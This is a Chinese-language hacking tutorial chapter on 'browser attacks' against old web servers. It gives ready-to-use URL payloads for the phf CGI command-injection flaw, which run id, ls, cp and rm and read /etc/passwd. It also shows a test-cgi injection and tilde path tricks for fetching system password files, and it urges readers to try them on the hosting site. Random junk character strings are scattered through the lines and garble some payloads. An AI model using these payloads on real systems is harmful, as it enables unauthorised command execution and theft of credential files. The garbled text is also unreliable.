浏览器攻击

在本章我将讲述一些利用浏览器来进行攻击的方法
1。大家都知道了phf攻击了，phf是cgi script,很多站点都有这个大漏洞啦，使用
% [/ S# U9 c5 D  @http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那个站点的passwd.但还有些更好的执行方法呦如：
$ i5 v$ X+ u- ~5 F# f! Y( q( xhttp://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna

me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
6 n4 R9 V* o2 b2 Xhttp://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname

=haqr&Qemail=&Qnickname=&Qoffice_phone=
, W# F- b% p( i6 g6 o上面执行的命令是
id
1 o1 I, K' L8 hls -la ~someuser
cp /etc/passwd ~someuser/passwd
rm ~someuser/passwd

) V# D( I% y8 Y2。有关test攻击
http://thegnome.com/cgi-bin/test-cgi?\whatever
服务器会应答，本服务器的一些情况如：
CGI/1.0 test script report:
- d1 N6 S# a+ @. v9 t( d
( j0 E2 L3 t* {9 j! g# ^3 Yargc is 0. argv is .

SERVER_SOFTWARE = NCSA/1.4B
: g- n; H( @, C% l8 K7 g2 Y* {& aSERVER_NAME = thegnome.com
: l8 S7 |; K; O1 ~; PGATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
6 O4 y+ u5 u; k8 e9 \, F4 tSERVER_PORT = 80
4 S/ u* P% l& x/ k, P+ P  jREQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
8 A' n5 ^" C) _2 v3 h5 B/ |text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
3 h/ @5 c8 q2 z# e- s) K) SQUERY_STRING = whatever
4 c8 f) P# u3 m* x6 IREMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
5 S' n( t* V$ [AUTH_TYPE =
4 p4 t* {+ O5 ]& d. f3 oCONTENT_TYPE =
CONTENT_LENGTH =
# j+ N3 q- v' u) c7 K, P. H
' r. o, z$ O9 T- x9 ^" }好吧，让我们来点赶兴趣的
0 ]: e( U1 c8 ]3 mhttp://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
/ F9 W/ X4 K+ P
3。~的应用
~主要是用在很多的个人主页上的快捷目录的方法，如果我们使用这样的~
http://thegnome.com/~root
1 j+ o8 A1 z; \& a! n+ shttp://thegnome.com/~root/etc/passwd
不是在任何平台上都通过呦，在BSD Apache上曾经成功过,当然还可以试试~bin ,~etc,~uucp.....
- T0 S5 Y: {# I, z8 t看到这个站点了吗，本站所在的这个站点就是用这种形式的，如果我们打入 本站所在的web地址/~bin
出现了什么，你看到了吗？然后...............注意请不要破坏

. v& e7 q. y' s# w